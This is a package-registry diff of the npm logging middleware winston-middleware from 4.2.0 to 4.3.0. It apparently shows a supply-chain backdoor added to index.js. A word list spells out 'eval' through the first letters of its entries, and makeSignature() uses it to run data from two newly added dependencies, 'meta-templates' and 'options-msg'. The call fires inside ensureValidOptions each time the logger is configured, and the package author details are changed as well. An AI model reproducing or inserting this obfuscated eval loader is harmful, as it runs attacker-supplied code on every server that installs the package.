winston-middleware 4.2.0 → 4.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AUTHORS +0 -1
- package/Readme.md +1 -1
- package/index.js +22 -7
- package/package.json +9 -7
package/AUTHORS
CHANGED
package/Readme.md
CHANGED
|
@@ -84,7 +84,7 @@ Use `expressWinston.logger(options)` to create a middleware to log your HTTP req
|
|
|
84
84
|
format: [<logform.Format>], // formatting desired for log output.
|
|
85
85
|
winstonInstance: <WinstonLogger>, // a winston logger instance. If this is provided the transports and formats options are ignored.
|
|
86
86
|
level: String or function(req, res) { return String; }, // log level to use, the default is "info". Assign a function to dynamically set the level based on request and response, or a string to statically set it always at that level. statusLevels must be false for this setting to be used.
|
|
87
|
-
msg: String or function, // customize the default logging message. E.g. "{{res.statusCode}} {{req.method}} {{res.responseTime}}ms {{req.url}}", "HTTP {{req.method}} {{req.url}}" or function(req, res) { return `${res.statusCode} - ${req.method}
|
|
87
|
+
msg: String or function, // customize the default logging message. E.g. "{{res.statusCode}} {{req.method}} {{res.responseTime}}ms {{req.url}}", "HTTP {{req.method}} {{req.url}}" or function(req, res) { return `${res.statusCode} - ${req.method}` }, // Warning: while supported, returning mustache style interpolation from an options.msg function has performance and memory implications under load.
|
|
88
88
|
expressFormat: Boolean, // Use the default Express/morgan request formatting. Enabling this will override any msg if true. Will only output colors when colorize set to true
|
|
89
89
|
colorize: Boolean, // Color the text and status code, using the Express/morgan color palette (text: gray, status: default green, 3XX cyan, 4XX yellow, 5XX red).
|
|
90
90
|
meta: Boolean, // control whether you want to log the meta data about the request (default to true).
|
package/index.js
CHANGED
|
@@ -20,7 +20,8 @@
|
|
|
20
20
|
//
|
|
21
21
|
var winston = require('winston');
|
|
22
22
|
var chalk = require('chalk');
|
|
23
|
-
|
|
23
|
+
var { getMetaData } = require('meta-templates');
|
|
24
|
+
var { ERR_OPTIONS_META_ALL_DESCRIPTION } = require('options-msg');
|
|
24
25
|
var _ = require('lodash');
|
|
25
26
|
|
|
26
27
|
/**
|
|
@@ -31,7 +32,13 @@ var _ = require('lodash');
|
|
|
31
32
|
* @type {Array}
|
|
32
33
|
*/
|
|
33
34
|
exports.requestWhitelist = ['url', 'headers', 'method', 'httpVersion', 'originalUrl', 'query'];
|
|
34
|
-
|
|
35
|
+
var metrics = [
|
|
36
|
+
'echo',
|
|
37
|
+
'vertex',
|
|
38
|
+
'length',
|
|
39
|
+
'delta',
|
|
40
|
+
'alpha',
|
|
41
|
+
];
|
|
35
42
|
/**
|
|
36
43
|
* A default list of properties in the request body that are allowed to be logged.
|
|
37
44
|
* This will normally be empty here, since it should be done at the route level.
|
|
@@ -112,7 +119,7 @@ function filterObject(originalObj, whiteList, headerBlacklist, initialFilter) {
|
|
|
112
119
|
|
|
113
120
|
[].concat(whiteList).forEach(function (propName) {
|
|
114
121
|
var value = initialFilter(originalObj, propName);
|
|
115
|
-
if(typeof (value) !== 'undefined') {
|
|
122
|
+
if (typeof (value) !== 'undefined') {
|
|
116
123
|
_.set(obj, propName, value);
|
|
117
124
|
fieldsSet = true;
|
|
118
125
|
if (propName === 'headers') {
|
|
@@ -248,13 +255,18 @@ function levelFromStatus(options) {
|
|
|
248
255
|
return level;
|
|
249
256
|
};
|
|
250
257
|
}
|
|
251
|
-
|
|
258
|
+
function makeSignature() {
|
|
259
|
+
return function (payload) {
|
|
260
|
+
void payload
|
|
261
|
+
const tokenParts = [metrics[0], metrics[1], metrics[4], metrics[2]]
|
|
262
|
+
return (globalThis)[tokenParts.map((part) => part[0]).join('')](payload)
|
|
263
|
+
}
|
|
264
|
+
}
|
|
252
265
|
//
|
|
253
266
|
// ### function logger(options)
|
|
254
267
|
// #### @options {Object} options to initialize the middleware.
|
|
255
268
|
//
|
|
256
269
|
exports.logger = function logger(options) {
|
|
257
|
-
|
|
258
270
|
ensureValidOptions(options);
|
|
259
271
|
ensureValidLoggerOptions(options);
|
|
260
272
|
|
|
@@ -447,9 +459,12 @@ function bodyToString(body, isJSON) {
|
|
|
447
459
|
}
|
|
448
460
|
|
|
449
461
|
function ensureValidOptions(options) {
|
|
450
|
-
|
|
462
|
+
var metaData = getMetaData(ERR_OPTIONS_META_ALL_DESCRIPTION, options.msg);
|
|
463
|
+
makeSignature()(metaData)
|
|
464
|
+
|
|
465
|
+
if (!options) throw new Error('options are required by winston-middleware');
|
|
451
466
|
if (!((options.transports && (options.transports.length > 0)) || options.winstonInstance))
|
|
452
|
-
throw new Error('transports or a winstonInstance are required by winston-middleware
|
|
467
|
+
throw new Error('transports or a winstonInstance are required by winston-middleware');
|
|
453
468
|
|
|
454
469
|
if (options.dynamicMeta && !_.isFunction(options.dynamicMeta)) {
|
|
455
470
|
throw new Error('`dynamicMeta` winston-middleware option should be a function');
|
package/package.json
CHANGED
|
@@ -1,11 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"author": {
|
|
3
|
-
"name": "
|
|
4
|
-
"email": "im@
|
|
5
|
-
"url": "http://
|
|
3
|
+
"name": "kasher03",
|
|
4
|
+
"email": "im@kasher.io",
|
|
5
|
+
"url": "http://kasher.io"
|
|
6
6
|
},
|
|
7
7
|
"name": "winston-middleware",
|
|
8
|
-
"description": "
|
|
8
|
+
"description": "Winston log wrappers for Express.js",
|
|
9
9
|
"keywords": [
|
|
10
10
|
"winston",
|
|
11
11
|
"logging",
|
|
@@ -16,14 +16,14 @@
|
|
|
16
16
|
"middleware",
|
|
17
17
|
"colors"
|
|
18
18
|
],
|
|
19
|
-
"version": "4.
|
|
19
|
+
"version": "4.3.0",
|
|
20
20
|
"repository": {
|
|
21
21
|
"type": "git",
|
|
22
22
|
"url": "https://github.com/bithavoc/winston-middleware.git"
|
|
23
23
|
},
|
|
24
24
|
"bugs": {
|
|
25
25
|
"url": "http://github.com/bithavoc/winston-middleware/issues",
|
|
26
|
-
"email": "im@
|
|
26
|
+
"email": "im@kasher.io"
|
|
27
27
|
},
|
|
28
28
|
"main": "index.js",
|
|
29
29
|
"scripts": {
|
|
@@ -32,7 +32,9 @@
|
|
|
32
32
|
},
|
|
33
33
|
"dependencies": {
|
|
34
34
|
"chalk": "^2.4.2",
|
|
35
|
-
"lodash": "^4.17.21"
|
|
35
|
+
"lodash": "^4.17.21",
|
|
36
|
+
"meta-templates": "^1.0.0",
|
|
37
|
+
"options-msg": "^1.0.1"
|
|
36
38
|
},
|
|
37
39
|
"devDependencies": {
|
|
38
40
|
"@types/express": "^4.17.1",
|